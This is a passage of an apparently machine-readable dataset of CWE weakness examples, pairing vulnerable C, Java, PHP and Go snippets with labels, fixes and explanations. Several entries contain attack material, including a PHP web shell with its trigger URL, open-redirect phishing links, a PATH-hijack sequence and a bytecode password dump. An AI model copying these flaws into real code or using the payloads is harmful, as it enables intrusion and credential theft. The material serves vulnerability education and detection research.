    "void host_lookup(char *user_supplied_addr){\nstruct hostent *hp;in_addr_t *addr;char hostname[64];in_addr_t inet_addr(const char *cp);\n\n/*routine that ensures user_supplied_addr is in the right format for conversion */\n\nvalidate_addr_form(user_supplied_addr);addr = inet_addr(user_supplied_addr);hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);strcpy(hostname, hp->h_name);\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-252",
  "example_id": "9",
  "explanation": "This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference (CWE-476) would then occur in the call to strcpy(). Note that this code is also vulnerable to a buffer overflow (CWE-119)."
}
{
  "source": [
    "void f(pthread_mutex_t *mutex) {\npthread_mutex_lock(mutex);\n\n/* access shared resource */\n\n\npthread_mutex_unlock(mutex);\n}",
    "int f(pthread_mutex_t *mutex) {\nint result;\nresult = pthread_mutex_lock(mutex);if (0 != result)return result;\n\n\n/* access shared resource */\n\n\nreturn pthread_mutex_unlock(mutex);\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 0,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-252",
  "example_id": "10",
  "explanation": "The following function attempts to acquire a lock in order to perform operations on a shared resource.However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels."
}
{
  "source": [
    "void do_something_recursive (int flg)\n\t    {\n\n\t      ... // Do some real work here, but the value of flg is unmodified\n\t      if (flg) { do_something_recursive (flg); }    // flg is never modified so it is always TRUE - this call will continue until the stack explodes\n\n\t    }\n\t    int flag = 1; // Set to TRUE\n\t    do_something_recursive (flag);",
    "void do_something_recursive (int flg)\n\t    {\n\n\t      ... // Do some real work here\n\t      // Modify value of flg on done condition\n\t      if (flg) { do_something_recursive (flg); }    // returns when flg changes to 0\n\n\t    }\n\t    int flag = 1; // Set to TRUE\n\t    do_something_recursive (flag);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 0,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-674",
  "example_id": "1",
  "explanation": "In this example a mistake exists in the code where the exit condition contained in flg is never called. This results in the function calling itself over and over again until the stack is exhausted.\n          Note that the only difference between the Good and Bad examples is that the recursion flag will change value and cause the recursive call to return."
}
{
  "source": [
    "class Worker implements Executor {\n...public void execute(Runnable r) {\n\ntry {...}catch (InterruptedException ie) {\n\n\n// postpone response\nThread.currentThread().interrupt();\n}\n}\npublic Worker(Channel ch, int nworkers) {...}\nprotected void activate() {\n\nRunnable loop = new Runnable() {\n\npublic void run() {\n\ntry {for (;;) {Runnable r = ...;r.run();}}catch (InterruptedException ie) {...}\n}\n};new Thread(loop).start();\n}\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-400",
  "example_id": "1",
  "explanation": "The following example demonstrates the weakness.There are no limits to runnables. Potentially an attacker could cause resource problems very quickly."
}
{
  "source": [
    "sock=socket(AF_INET, SOCK_STREAM, 0);while (1) {newsock=accept(sock, ...);printf(\"A connection has been accepted\\n\");pid = fork();}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-400",
  "example_id": "2",
  "explanation": "This code allocates a socket and forks each time it receives a new connection.The program does not track how many connections have been made, and it does not limit the number of connections. Because forking is a relatively expensive operation, an attacker would be able to cause the system to run out of CPU, processes, or memory by making a large number of connections. Alternatively, an attacker could consume all available connections, preventing others from accessing the system remotely."
}
{
  "source": [
    "int writeDataFromSocketToFile(char *host, int port){\n\nchar filename[FILENAME_SIZE];char buffer[BUFFER_SIZE];int socket = openSocketConnection(host, port);\nif (socket < 0) {printf(\"Unable to open socket connection\");return(FAIL);}if (getNextMessage(socket, filename, FILENAME_SIZE) > 0) {\nif (openFileToWrite(filename) > 0) {\nwhile (getNextMessage(socket, buffer, BUFFER_SIZE) > 0){if (!(writeToFile(buffer) > 0))break;\n}\n}closeFile();\n}closeSocket(socket);\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-400",
  "example_id": "3",
  "explanation": "In the following example a server socket connection is used to accept a request to store data on the local file system using a specified filename. The method openSocketConnection establishes a server socket to accept requests from a client. When a client establishes a connection to this service the getNextMessage method is first used to retrieve from the socket the name of the file to store the data, the openFileToWrite method will validate the filename and open a file to write to on the local file system. The getNextMessage is then used within a while loop to continuously read data from the socket and output the data to the file until there is no longer any data from the socket.This example creates a situation where data can be dumped to a file on the local file system without any limits on the size of the file. This could potentially exhaust file or disk resources and/or limit other clients' ability to access the service."
}
{
  "source": [
    "/* process message accepts a two-dimensional character array of the form [length][body] containing the message to be processed */\nint processMessage(char **message){\nchar *body;\nint length = getMessageLength(message[0]);\nif (length > 0) {body = &message[1][0];processMessageBody(body);return(SUCCESS);}else {printf(\"Unable to process message; invalid message length\");return(FAIL);}\n}",
    "unsigned int length = getMessageLength(message[0]);if ((length > 0) && (length < MAX_LENGTH)) {...}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 0,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-400",
  "example_id": "4",
  "explanation": "In the following example, the processMessage method receives a two dimensional character array containing the message to be processed. The two-dimensional character array contains the length of the message in the first character array and the message body in the second character array. The getMessageLength method retrieves the integer value of the length from the first character array. After validating that the message length is greater than zero, the body character array pointer points to the start of the second character array of the two-dimensional character array and memory is allocated for the new body character array.This example creates a situation where the length of the body character array can be very large and will consume excessive memory, exhausting system resources. This can be avoided by restricting the length of the second character array with a maximum length checkAlso, consider changing the type from 'int' to 'unsigned int', so that you are always guaranteed that the number is positive. This might not be possible if the protocol specifically requires allowing negative values, or if you cannot control the return value from getMessageLength(), but it could simplify the check to ensure the input is positive, and eliminate other errors such as signed-to-unsigned conversion errors (CWE-195) that may occur elsewhere in the code."
}
{
  "source": [
    "public void acceptConnections() {\n\ntry {ServerSocket serverSocket = new ServerSocket(SERVER_PORT);int counter = 0;boolean hasConnections = true;while (hasConnections) {Socket client = serverSocket.accept();Thread t = new Thread(new ClientSocketThread(client));t.setName(client.getInetAddress().getHostName() + \":\" + counter++);t.start();}serverSocket.close();\n\n} catch (IOException ex) {...}\n}",
    "public static final int SERVER_PORT = 4444;public static final int MAX_CONNECTIONS = 10;...\npublic void acceptConnections() {\n\ntry {ServerSocket serverSocket = new ServerSocket(SERVER_PORT);int counter = 0;boolean hasConnections = true;while (hasConnections) {hasConnections = checkForMoreConnections();Socket client = serverSocket.accept();Thread t = new Thread(new ClientSocketThread(client));t.setName(client.getInetAddress().getHostName() + \":\" + counter++);ExecutorService pool = Executors.newFixedThreadPool(MAX_CONNECTIONS);pool.execute(t);}serverSocket.close();\n\n} catch (IOException ex) {...}\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    },
    {
      "vul_flag": 0,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-400",
  "example_id": "5",
  "explanation": "In the following example, a server object creates a server socket and accepts client connections to the socket. For every client connection to the socket a separate thread object is generated using the ClientSocketThread class that handles request made by the client through the socket.In this example there is no limit to the number of client connections and client threads that are created. Allowing an unlimited number of client connections and threads could potentially overwhelm the system and system resources.The server should limit the number of client connections and the client threads that are created. This can be easily done by creating a thread pool object that limits the number of threads that are generated."
}
{
  "source": [
    "func serve(w http.ResponseWriter, r *http.Request) {\n                     \n                        var body []byte\n                        if r.Body != nil {\n\n                           if data, err := io.ReadAll(r.Body); err == nil {\n\n                              body = data\n\n                           }\n                        }\n                  }",
    "func serve(w http.ResponseWriter, r *http.Request) {\n                     \n                        var body []byte\n                        const MaxRespBodyLength = 1e6\n                        if r.Body != nil {\n\n                           r.Body = http.MaxBytesReader(w, r.Body, MaxRespBodyLength)\n                           if data, err := io.ReadAll(r.Body); err == nil {\n\n                              body = data\n\n                           }\n                        }\n                  }"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Go"
    },
    {
      "vul_flag": 0,
      "language": "Go"
    }
  ],
  "cwe_id": "CWE-400",
  "example_id": "6",
  "explanation": "In the following example, the serve function receives an http request and an http response writer. It reads the entire request body.Because ReadAll is defined to read from src until EOF, it does not treat an EOF from Read as an error to be reported. This example creates a situation where the length of the body supplied can be very large and will consume excessive memory, exhausting system resources. This can be avoided by ensuring the body does not exceed a predetermined length of bytes.MaxBytesReader prevents clients from accidentally or maliciously sending a large request and wasting server resources. If possible, the code could be changed to tell ResponseWriter to close the connection after the limit has been reached."
}
{
  "source": [
    "...System.Runtime.getRuntime().exec(\"make\");..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-427",
  "example_id": "1",
  "explanation": "The following code is from a web application that allows users access to an interface through which they can update their password on the system. In this environment, user passwords can be managed using the Network Information System (NIS), which is commonly used on UNIX systems. When performing NIS updates, part of the process for updating passwords is to run a make command in the /var/yp directory. Performing NIS updates requires extra privileges.The problem here is that the program does not specify an absolute path for make and does not clean its environment prior to executing the call to Runtime.exec(). If an attacker can modify the $PATH variable to point to a malicious binary called make and cause the program to be executed in their environment, then the malicious binary will be loaded instead of the one intended. Because of the nature of the application, it runs with the privileges necessary to perform system operations, which means the attacker's make will now be run with these privileges, possibly giving the attacker complete control of the system."
}
{
  "source": [
    "func ExecuteGitCommand(name string, arg []string) error {\n                     \n                        c := exec.Command(name, arg...)\n                        var err error\n                        c.Path, err = exec.LookPath(name)\n                        if err != nil {\n\n                              return err\n\n                        }\n                     }"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Go"
    }
  ],
  "cwe_id": "CWE-427",
  "example_id": "2",
  "explanation": "In versions of Go prior to v1.19, the LookPath function would follow the conventions of the runtime OS and look for a program in the directiories listed in the current path [REF-1325]. Therefore, Go would prioritize searching the current directory when the provided command name does not contain a directory separator and continued to search for programs even when the specified program name is empty.Consider the following where an application executes a git command to run on the system.An attacker could create a malicious repository with a file named ..exe and another file named git.exe. If git.exe is not found in the system PATH, then ..exe would execute [REF-1326]."
}
{
  "source": [],
  "source_status": [],
  "cwe_id": "CWE-427",
  "example_id": "3",
  "explanation": "In February 2021 [REF-1169], a researcher was able to demonstrate the ability to breach major technology companies by using \"dependency confusion\" where the companies would download and execute untrusted packages. The researcher discovered the names of some internal, private packages by looking at dependency lists in public source code, such as package.json. The researcher then created new, untrusted packages with the same name as the internal packages, then uploaded them to package hosting services. These services included the npm registry for Node, PyPi for Python, and RubyGems. In affected companies, their dependency resolution would search the public hosting services first before consulting their internal service, causing the untrusted packages to be automatically downloaded and executed."
}
{
  "source": [
    "UINT errCode = WinExec( \"C:\\\\Program Files\\\\Foo\\\\Bar\", SW_SHOW );"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-428",
  "example_id": "1",
  "explanation": "The following example demonstrates the weakness."
}
{
  "source": [
    "<form action=\"upload_picture.php\" method=\"post\" enctype=\"multipart/form-data\">\nChoose a file to upload:<input type=\"file\" name=\"filename\"/><br/><input type=\"submit\" name=\"submit\" value=\"Submit\"/>\n</form>",
    "// Define the target location where the picture being\n\n\n// uploaded is going to be saved.\n$target = \"pictures/\" . basename($_FILES['uploadedfile']['name']);\n\n// Move the uploaded file to the new location.\nif(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target)){echo \"The picture has been successfully uploaded.\";}else{echo \"There was an error uploading the picture, please try again.\";}",
    "malicious.php",
    "<?phpsystem($_GET['cmd']);\n?>",
    "http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l"
  ],
  "source_status": [
    {
      "vul_flag": 0,
      "language": "HTML"
    },
    {
      "vul_flag": 1,
      "language": "PHP"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    },
    {
      "vul_flag": 0,
      "language": "(attack code) PHP"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    }
  ],
  "cwe_id": "CWE-434",
  "example_id": "1",
  "explanation": "The following code intends to allow a user to upload a picture to the web server. The HTML code that drives the form on the user end has an input field of type \"file\".Once submitted, the form above sends the file to upload_picture.php on the web server. PHP stores the file in a temporary location until it is retrieved (or discarded) by the server side code. In this example, the file is moved to a more permanent pictures/ directory.The problem with the above code is that there is no check regarding type of file being uploaded. Assuming that pictures/ is available in the web document root, an attacker could upload a file with the name:Since this filename ends in \".php\" it can be executed by the web server. In the contents of this uploaded file, the attacker could use:Once this file has been installed, the attacker can enter arbitrary commands to execute using a URL such as:which runs the \"ls -l\" command - or any other type of command that the attacker wants to specify."
}
{
  "source": [
    "<form action=\"FileUploadServlet\" method=\"post\" enctype=\"multipart/form-data\">\nChoose a file to upload:<input type=\"file\" name=\"filename\"/><br/><input type=\"submit\" name=\"submit\" value=\"Submit\"/>\n</form>",
    "public class FileUploadServlet extends HttpServlet {\n\n...\nprotected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\nresponse.setContentType(\"text/html\");PrintWriter out = response.getWriter();String contentType = request.getContentType();\n// the starting position of the boundary headerint ind = contentType.indexOf(\"boundary=\");String boundary = contentType.substring(ind+9);\nString pLine = new String();String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value\n// verify that content type is multipart form dataif (contentType != null && contentType.indexOf(\"multipart/form-data\") != -1) {\n\n// extract the filename from the Http headerBufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));...pLine = br.readLine();String filename = pLine.substring(pLine.lastIndexOf(\"\\\\\"), pLine.lastIndexOf(\"\\\"\"));...\n// output the file to the local upload directorytry {\nBufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));for (String line; (line=br.readLine())!=null; ) {if (line.indexOf(boundary) == -1) {bw.write(line);bw.newLine();bw.flush();}} //end of for loopbw.close();\n\n\n} catch (IOException ex) {...}// output successful upload response HTML page\n}// output unsuccessful upload response HTML pageelse{...}\n}...\n\n}"
  ],
  "source_status": [
    {
      "vul_flag": 0,
      "language": "HTML"
    },
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-434",
  "example_id": "2",
  "explanation": "The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code. Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-23). Since the code does not check the filename that is provided in the header, an attacker can use \"../\" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash."
}
{
  "source": [
    "#define DIR \"/restricted/directory\"\nchar cmd[500];sprintf(cmd, \"ls -l %480s\", DIR);\n/* Raise privileges to those needed for accessing DIR. */\n\nRaisePrivileges(...);system(cmd);DropPrivileges(...);...",
    "The user sets the PATH to reference a directory under the attacker's control, such as \"/my/dir/\".\nThe attacker creates a malicious program called \"ls\", and puts that program in /my/dir\nThe user executes the program.\nWhen system() is executed, the shell consults the PATH to find the ls program\nThe program finds the attacker's malicious program, \"/my/dir/ls\". It doesn't find \"/bin/ls\" because PATH does not contain \"/bin/\".\nThe program executes the attacker's malicious program with the raised privileges."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    }
  ],
  "cwe_id": "CWE-426",
  "example_id": "1",
  "explanation": "This program is intended to execute a command that lists the contents of a restricted directory, then performs other actions. Assume that it runs with setuid privileges in order to bypass the permissions check by the operating system.This code may look harmless at first, since both the directory and the command are set to fixed values that the attacker can't control. The attacker can only see the contents for DIR, which is the intended program behavior. Finally, the programmer is also careful to limit the code that executes with raised privileges.However, because the program does not modify the PATH environment variable, the following attack would work:"
}
{
  "source": [
    "//assume getCurrentUser() returns a username that is guaranteed to be alphanumeric (avoiding CWE-78) \n$userName = getCurrentUser();$command = 'ps aux | grep ' . $userName;system($command);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "PHP"
    }
  ],
  "cwe_id": "CWE-426",
  "example_id": "2",
  "explanation": "This code prints all of the running processes belonging to the current user.If invoked by an unauthorized web user, it is providing a web page of potentially sensitive information on the underlying system, such as command-line arguments (CWE-497). This program is also potentially vulnerable to a PATH based attack (CWE-426), as an attacker may be able to create malicious versions of the ps or grep commands. While the program does not explicitly raise privileges to run the system commands, the PHP interpreter may by default be running with higher privileges than users."
}
{
  "source": [
    "...System.Runtime.getRuntime().exec(\"make\");..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-426",
  "example_id": "3",
  "explanation": "The following code is from a web application that allows users access to an interface through which they can update their password on the system. In this environment, user passwords can be managed using the Network Information System (NIS), which is commonly used on UNIX systems. When performing NIS updates, part of the process for updating passwords is to run a make command in the /var/yp directory. Performing NIS updates requires extra privileges.The problem here is that the program does not specify an absolute path for make and does not clean its environment prior to executing the call to Runtime.exec(). If an attacker can modify the $PATH variable to point to a malicious binary called make and cause the program to be executed in their environment, then the malicious binary will be loaded instead of the one intended. Because of the nature of the application, it runs with the privileges necessary to perform system operations, which means the attacker's make will now be run with these privileges, possibly giving the attacker complete control of the system."
}
{
  "source": [
    "$redirect_url = $_GET['url'];header(\"Location: \" . $redirect_url);",
    "http://example.com/example.php?url=http://malicious.example.com"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "PHP"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    }
  ],
  "cwe_id": "CWE-601",
  "example_id": "1",
  "explanation": "The following code obtains a URL from the query string and then redirects the user to that URL.The problem with the above code is that an attacker could use this page as part of a phishing scam by redirecting users to a malicious site. For example, assume the above code is in the file example.php. An attacker could supply a user with the following link:The user sees the link pointing to the original trusted site (example.com) and does not realize the redirection that could take place."
}
{
  "source": [
    "public class RedirectServlet extends HttpServlet {\n\nprotected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {String query = request.getQueryString();if (query.contains(\"url\")) {String url = request.getParameter(\"url\");response.sendRedirect(url);}}\n}",
    "<a href=\"http://bank.example.com/redirect?url=http://attacker.example.net\">Click here to log in</a>"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    },
    {
      "vul_flag": 0,
      "language": "(attack code) HTML"
    }
  ],
  "cwe_id": "CWE-601",
  "example_id": "2",
  "explanation": "The following code is a Java servlet that will receive a GET request with a url parameter in the request to redirect the browser to the address specified in the url parameter. The servlet will retrieve the url parameter value from the request and send a response to redirect the browser to the url address.The problem with this Java servlet code is that an attacker could use the RedirectServlet as part of a e-mail phishing scam to redirect users to a malicious site. An attacker could send an HTML formatted e-mail directing the user to log into their account by including in the e-mail the following link:The user may assume that the link is safe since the URL starts with their trusted bank, bank.example.com. However, the user will then be redirected to the attacker's web site (attacker.example.net) which the attacker may have made to appear very similar to bank.example.com. The user may then unwittingly enter credentials into the attacker's web page and compromise their bank account. A Java servlet should never redirect a user to a URL without verifying that the redirect address is a trusted site."
}
{
  "source": [
    "#include <stdio.h>#include <unistd.h>#define BUFSIZER1 512#define BUFSIZER2 ((BUFSIZER1/2) - 8)int main(int argc, char **argv) {char *buf1R1;char *buf2R1;char *buf2R2;char *buf3R2;buf1R1 = (char *) malloc(BUFSIZER1);buf2R1 = (char *) malloc(BUFSIZER1);free(buf2R1);buf2R2 = (char *) malloc(BUFSIZER2);buf3R2 = (char *) malloc(BUFSIZER2);strncpy(buf2R1, argv[1], BUFSIZER1-1);free(buf1R1);free(buf2R2);free(buf3R2);}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-416",
  "example_id": "1",
  "explanation": "The following example demonstrates the weakness."
}
{
  "source": [
    "char* ptr = (char*)malloc (SIZE);if (err) {abrt = 1;free(ptr);}...if (abrt) {logError(\"operation aborted before commit\", ptr);}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-416",
  "example_id": "2",
  "explanation": "The following code illustrates a use after free error:When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function."
}
{
  "source": [
    "EVP_des_ecb();",
    "Cipher des=Cipher.getInstance(\"DES...\");des.initEncrypt(key2);",
    "function encryptPassword($password){$iv_size = mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_ECB);$iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);$key = \"This is a password encryption key\";$encryptedPassword = mcrypt_encrypt(MCRYPT_DES, $key, $password, MCRYPT_MODE_ECB, $iv);return $encryptedPassword;}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 1,
      "language": "Java"
    },
    {
      "vul_flag": 1,
      "language": "PHP"
    }
  ],
  "cwe_id": "CWE-327",
  "example_id": "1",
  "explanation": "These code examples use the Data Encryption Standard (DES).Once considered a strong algorithm, DES now regarded as insufficient for many applications. It has been replaced by Advanced Encryption Standard (AES)."
}
{
  "source": [
    "The manufacturer chooses a SHA1 hardware accelerator for to implement the scheme because it already has a working SHA1 Intellectual Property (IP) that the manufacturer had created and used earlier, so this reuse of IP saves design cost.",
    "The manufacturer could have chosen a cryptographic solution that is recommended by the wide security community (including standard-setting bodies like NIST) and is not expected to be broken (or even better, weakened) within the reasonable life expectancy of the hardware product. In this case, the architects could have used SHA-2 or SHA-3, even if it meant that such choice would cost extra."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Other"
    },
    {
      "vul_flag": 0,
      "language": "Other"
    }
  ],
  "cwe_id": "CWE-327",
  "example_id": "2",
  "explanation": "Suppose a chip manufacturer decides to implement a hashing scheme for verifying integrity property of certain bitstream, and it chooses to implement a SHA1 hardware accelerator for to implement the scheme.However, SHA1 was theoretically broken in 2005 and practically broken in 2017 at a cost of $110K. This means an attacker with access to cloud-rented computing power will now be able to provide a malicious bitstream with the same hash value, thereby defeating the purpose for which the hash was used.This issue could have been avoided with better design."
}
{
  "source": [],
  "source_status": [],
  "cwe_id": "CWE-327",
  "example_id": "3",
  "explanation": "In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were \"insecure by design\" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications. Multiple OT products used weak cryptography."
}
{
  "source": [
    "Random random = new Random(System.currentTimeMillis());int accountID = random.nextInt();",
    "srand(time());int randNum = rand();"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    },
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-338",
  "example_id": "1",
  "explanation": "Both of these examples use a statistical PRNG seeded with the current value of the system clock to generate a random number:The random number functions used in these examples, rand() and Random.nextInt(), are not considered cryptographically strong. An attacker may be able to predict the random numbers generated by these functions. Note that these example also exhibit CWE-337 (Predictable Seed in PRNG)."
}
{
  "source": [
    "#include <stdio.h>\nvoid printWrapper(char *string) {\n\nprintf(string);\n}\nint main(int argc, char **argv) {\n\nchar buf[5012];memcpy(buf, argv[1], 5012);printWrapper(argv[1]);return (0);\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-134",
  "example_id": "1",
  "explanation": "The following program prints a string provided as an argument.The example is exploitable, because of the call to printf() in the printWrapper() function. Note: The stack buffer was added to make exploitation more simple."
}
{
  "source": [
    "int main(int argc, char **argv){char buf[128];...snprintf(buf,128,argv[1]);}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-134",
  "example_id": "2",
  "explanation": "The following code copies a command line argument into a buffer using snprintf().This code allows an attacker to view the contents of the stack and write to the stack using a command line argument containing a sequence of formatting directives. The attacker can read from the stack by providing more formatting directives, such as %x, than the function takes as arguments to be formatted. (In this example, the function takes no arguments to be formatted.) By using the %n formatting directive, the attacker can write to the stack, causing snprintf() to write the number of bytes output thus far to the specified argument (rather than reading a value from the argument, which is the intended behavior). A sophisticated version of this attack will use four staggered writes to completely control the value of a pointer on the stack."
}
{
  "source": [
    "printf(\"%d %d %1$d %1$d\\n\", 5, 9);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-134",
  "example_id": "3",
  "explanation": "Certain implementations make more advanced attacks even easier by providing format directives that control the location in memory to read from or write to. An example of these directives is shown in the following code, written for glibc:This code produces the following output: 5 9 5 5 It is also possible to use half-writes (%hn) to accurately control arbitrary DWORDS in memory, which greatly reduces the complexity needed to execute an attack that would otherwise require four staggered writes, such as the one mentioned in the first example."
}
{
  "source": [
    "String ctl = request.getParameter(\"ctl\");Worker ao = null;if (ctl.equals(\"Add\")) {ao = new AddCommand();}else if (ctl.equals(\"Modify\")) {ao = new ModifyCommand();}else {throw new UnknownActionError();}ao.doAction(request);",
    "String ctl = request.getParameter(\"ctl\");Class cmdClass = Class.forName(ctl + \"Command\");Worker ao = (Worker) cmdClass.newInstance();ao.doAction(request);",
    "String ctl = request.getParameter(\"ctl\");Class cmdClass = Class.forName(ctl + \"Command\");Worker ao = (Worker) cmdClass.newInstance();ao.checkAccessControl(request);ao.doAction(request);"
  ],
  "source_status": [
    {
      "vul_flag": 0,
      "language": "Java"
    },
    {
      "vul_flag": 1,
      "language": "Java"
    },
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-470",
  "example_id": "1",
  "explanation": "A common reason that programmers use the reflection API is to implement their own command dispatcher. The following example shows a command dispatcher that does not use reflection:A programmer might refactor this code to use reflection as follows:The refactoring initially appears to offer a number of advantages. There are fewer lines of code, the if/else blocks have been entirely eliminated, and it is now possible to add new command types without modifying the command dispatcher. However, the refactoring allows an attacker to instantiate any object that implements the Worker interface. If the command dispatcher is still responsible for access control, then whenever programmers create a new class that implements the Worker interface, they must remember to modify the dispatcher's access control code. If they do not modify the access control code, then some Worker classes will not have any access control.One way to address this access control problem is to make the Worker object responsible for performing the access control check. An example of the re-refactored code follows:Although this is an improvement, it encourages a decentralized approach to access control, which makes it easier for programmers to make access control mistakes. This code also highlights another security problem with using reflection to build a command dispatcher. An attacker can invoke the default constructor for any kind of object. In fact, the attacker is not even constrained to objects that implement the Worker interface; the default constructor for any object in the system can be invoked. If the object does not implement the Worker interface, a ClassCastException will be thrown before the assignment to ao, but if the constructor performs operations that work in the attacker's favor, the damage will already have been done. Although this scenario is relatively benign in simple products, in larger products where complexity grows exponentially it is not unreasonable that an attacker could find a constructor to leverage as part of an attack."
}
{
  "source": [
    "...DriverManager.getConnection(url, \"scott\", \"tiger\");...",
    "javap -c ConnMngr.class22: ldc #36; //String jdbc:mysql://ixne.com/rxsql24: ldc #38; //String scott26: ldc #17; //String tiger"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    }
  ],
  "cwe_id": "CWE-798",
  "example_id": "1",
  "explanation": "The following code uses a hard-coded password to connect to a database:This is an example of an external hard-coded password on the client-side of a connection. This code will run successfully, but anyone who has access to it will have access to the password. Once the program has shipped, there is no going back from the database user \"scott\" with a password of \"tiger\" unless the program is patched. A devious employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for application, they can use the javap -c command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for the example above:"
}
{
  "source": [
    "int VerifyAdmin(char *password) {\nif (strcmp(password, \"Mew!\")) {\n\n                                 printf(\"Incorrect Password!\\n\");return(0)\n}printf(\"Entering Diagnostic Mode...\\n\");return(1);\n}",
    "int VerifyAdmin(String password) {if (!password.equals(\"Mew!\")) {return(0)}//Diagnostic Modereturn(1);}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-798",
  "example_id": "2",
  "explanation": "The following code is an example of an internal hard-coded password in the back-end:Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this \"functionality.\""
}
{
  "source": [
    "int VerifyAdmin(char *password) {\nif (strcmp(password,\"68af404b513073584c4b6f22b6c63e6b\")) {\n\nprintf(\"Incorrect Password!\\n\");return(0);\n}printf(\"Entering Diagnostic Mode...\\n\");return(1);\n}",
    "public boolean VerifyAdmin(String password) {if (password.equals(\"68af404b513073584c4b6f22b6c63e6b\")) {System.out.println(\"Entering Diagnostic Mode...\");return true;}System.out.println(\"Incorrect Password!\");return false;",
    "int VerifyAdmin(String password) {if (password.Equals(\"68af404b513073584c4b6f22b6c63e6b\")) {Console.WriteLine(\"Entering Diagnostic Mode...\");return(1);}Console.WriteLine(\"Incorrect Password!\");return(0);}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 1,
      "language": "Java"
    },
    {
      "vul_flag": 1,
      "language": "C#"
